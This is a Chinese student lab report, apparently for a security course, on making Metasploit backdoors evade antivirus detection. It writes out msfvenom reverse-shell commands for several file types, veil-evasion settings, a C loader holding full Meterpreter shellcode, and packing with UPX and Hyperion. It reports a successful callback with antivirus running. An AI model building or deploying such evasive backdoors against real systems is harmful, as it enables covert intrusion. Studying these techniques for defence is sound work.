一、学习目标
(1)任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
(2)任务二:通过组合应用各种技术实现恶意代码免杀
(3)任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
二、基础问题回答
1.杀软是如何检测出恶意代码的?
杀毒软件一般通过一下几种方式检测恶意代码:
- 基于特征码的检测:通过检测一个可执行文件是否包含一段或多段符合特征的数据来判断是否是恶意代码
- 启发式恶意软件检测:简单来说就是根据些片面的特征去推断。如果一个软件在干的通常是恶意软件干的事,看起来像了某个恶意软件,就将它当做是恶意软件
- 基于行为的恶意检测:理论上讲,相当于是启发式的一种,或者说是加入了行为监控的启发式。
2.免杀是做什么?
使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。
3.免杀的基本方法有哪些?
1.改变特征码:
- 如果手里只有exe
- 加壳:压缩壳、加密壳
- 有shellcode(如Meterpreter):
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码:
- 用其他语言进行重新编写
2.改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
3.非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码即成道MSF中
- 使用社工类攻击,诱骗目标关闭AV软件
- 纯手工打造一个恶意软件
三、任务一:正确使用免杀工具或技巧
1.正确使用msf编码器
在实验二中已经生成了未经编码处理exe类型的后门程序,将其放到VirusTotal或Virscan(网站链接在文末参考资料中)中查看结果,这里由于VirusTotal中的杀软数量远多于Virscan,所以我选择了VirusTotal:
不加任何处理的后门程序能够被大多数杀软检测到,接下来用msf编码器对后门程序进行一次到多次的编码,并进行检测
-e
用来选择编码器-b
用来去除需要去除的字符,应使'x00'不出现在shellcode中,因为shellcode以'x00'为结束符-i
设置迭代次数,这里设置迭代次数为10
生成一次编码的后门程序:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.72.129 LPORT=1308 -f exe > exp3.exe
生成十次编码的后门程序
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.72.129 LPORT=1308 -f exe > encoded10.exe
由这个检测结果可见即使进行了十次编码,对于抵抗杀软检测依然没有起到什么积极的作用,原因有以下几点:
- shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要盯住这部分就可以了。
- msfvenom生成exe是有固定模版的,所有它生成的exe如果使用默认的参数或者模版也会具有固定的特征。所以一般来说AV厂商会针对其使用的模版来生成这个特征码,这样就可以一劳永逸地解决所有msfvenom生成的恶意代码。
2.msfvenom生成如jar之类的其他文件
-
生成jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.72.129 LPORT=1308 x> 20181308jar.jar
VirusTotal检测结果:
-
生成jsp文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.72.129 LPORT=1308 x> 20181308jsp.jsp
VirusTotal检测结果:
-
生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.72.17296 LPORT=1308 x> 20181308php.php
VirusTotal检测结果:
-
生成apk文件
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.72.129 LPORT=1308 x> 20181305apk.apk
VirusTotal检测结果:
3.使用veil-evasion生成后门程序
这里是整个实验的难点所在,并非说这里是多么多么重要的地方,而是历届学长学姐的前车之鉴告诉我们,这里不能出现任何差错,否则将浪费很多时间。
如果直接开始安装veil,会在过程中出现找不到wine32的问题。所以我们先来安装这些。
首先执行如下指令来安装wine32
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
安装成功之后要先确认,如果在之前下载过veil并且安装失败,那么就要把veil卸载干净,否则会出现很多其他的错误。
一切成功之后就进行veil的安装
sudo apt-get install veil
在安装过程后面坑你还会出现满屏幕的红色字体,在多次失败的时候这个是很吓人的!!!!!
但是实际上是单纯的红色字体对过程的描述,并没有什么影响。
安装过程中还会安装python ruby等。因为虚拟机被我们设置成简中,而可能因为某些不可抗力,英文可能还好,简中会变成乱码,所以在安装过程中所有的汉字出现的地方,都会变成空白的小框框,不要害怕一路下一步就行。呜呜~~
安装成功之后会出现让人开心的"done"
要注意安装成功之后的veil一般是要使用root权限来使用的,如果出现了什么问题可以看下是否是权限问题。
使用sudo
运行veil
-
输入
use 1
进入veil-evasion -
输入
list
列出所有可生成的后门程序 -
这里我尝试使用
powershell
的后门,即输入命令use powershell/meterpreter/rev_tcp.py
-
输入
set LHOST 192.168.72.129
设置反弹连接IP(即kali的ip) -
输入
set LPORT 1308
设置端口为1308 -
输入
options
可以查看设置
输入generate
、设置文件名字即可生成该后门文件
接下来就是进行扫描了,但是这里出现了令我及其震惊的一件事。
我的后门程序完美地避开了所有的杀软?这就是veil的作用吗!
这就是费尽千辛万苦获得的结果吗!
4.使用C+shellcode编程生成后门程序
使用如下指令生成shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.72.129 LPORT=1308 -f c
创建20181308.c,将buf添加到代码中。
unsigned char buf[] =
"xfcxe8x8fx00x00x00x60x89xe5x31xd2x64x8bx52x30"
"x8bx52x0cx8bx52x14x0fxb7x4ax26x8bx72x28x31xff"
"x31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7x49"
"x75xefx52x8bx52x10x57x8bx42x3cx01xd0x8bx40x78"
"x85xc0x74x4cx01xd0x50x8bx58x20x01xd3x8bx48x18"
"x85xc9x74x3cx49x8bx34x8bx31xffx01xd6x31xc0xc1"
"xcfx0dxacx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24"
"x75xe0x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1c"
"x01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59"
"x5ax51xffxe0x58x5fx5ax8bx12xe9x80xffxffxffx5d"
"x68x33x32x00x00x68x77x73x32x5fx54x68x4cx77x26"
"x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54x50x68"
"x29x80x6bx00xffxd5x6ax0ax68xc0xa8x48x81x68x02"
"x00x05x1cx89xe6x50x50x50x50x40x50x40x50x68xea"
"x0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5x74x61"
"xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67x00x00"
"x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxffxd5x83"
"xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00x56x6a"
"x00x68x58xa4x53xe5xffxd5x93x53x6ax00x56x53x57"
"x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58x68x00"
"x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5x57x68"
"x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85x70xff"
"xffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1xc3xbb"
"xf0xb5xa2x56x6ax00x53xffxd5";
int main()
{
int (*func)()=(int(*)())buf;
func();
}
使用i686-w64-mingw32-g++ 20181308.c -o 20181308.exe
生成exe可执行文件
VirusTotal检测结果:
看来shellcode并没有那么厉害,还是会被很多杀软抓出来。
5.加壳工具
使用命令upx 20181308.exe -o 20181305pro.exe
对20181308.exe加壳
VirusTotal检测结果:
加壳之后能够检测出来的杀软会有较小的差别,但是还是接近一半的杀软可以检测。
四、任务二.通过组合应用各种技术实现恶意代码免杀
通过使用半手工shellcode结合加密壳,压缩壳实现免杀。
共生截图:
五、任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
电脑环境:win10主机
杀毒引擎:腾讯电脑管家
杀软版本:13.7.20811.208
木马库版本时间:2021-04-05
(问题是电脑有没清理的垃圾,病毒查杀和木马扫描都没有出现问题)
六、实验中遇到的问题
一、安装veil的问题
安装veil中出现了很多不知名的错误,大多数错误其实都可以避免,但是这需要提前去对这个实验有所了解,这个要求不免有些过分。但如果可以的话感觉做实验之前还是要看看前辈们的博客和老师的讲解视频。
二、hyperion的问题
我遇到的问题是根本就没有这个文件夹,上网查找后发现问题所在。
参考【渗透测试】在Kali中使用mingw-w64编译Hyperion(包括旧的常用的1.x版本和最新的2.2版本)准备重新弄了一个Hyperion.exe,使用命令:wine hyperion.exe -v dwt_upxed.exe dwt_upxed_Hyperion.exe
成功加壳。
具体过程因为下载时使用热点,后面又切换回wifi,相关截图等没来得及留下。
七、开启杀软能绝对防止电脑中恶意代码吗?
实践出真知,并不可以。
在我们的实验过程中,还没有很深入了解的情况下,就已经出现了检测率较低的后门程序,甚至在使用veil的过程中出现了0检测率的程序,这都证明杀软并不能完全防御。
八、实践总结和体会
这次实验算是这个学期以来课程难度的巅峰了,无论是内容的难以理解,还是过程中遇到的安装及一系列的问题,都给我造成了很大的困难。感觉想要很好的去完成这个实验,要提前像看答案一样,去看看前辈的博客等。但是要是全部都去看然后照搬,就没有了探索的乐趣。还是觉得吧,实验这种事情,清楚的去了解内容和要做的事,然后再一步一步的自己去摸索完成。正像这两次实验一样,要是完全按照过程照搬也不过是截几张图。但是略带自己摸索和扩展的情况下,就真的有一种先入侵,然后被抓到,那我就尽力去让我们的软件免于杀毒软件的迫害。和自己斗智斗勇和杀软斗智斗勇,还是很有意思的。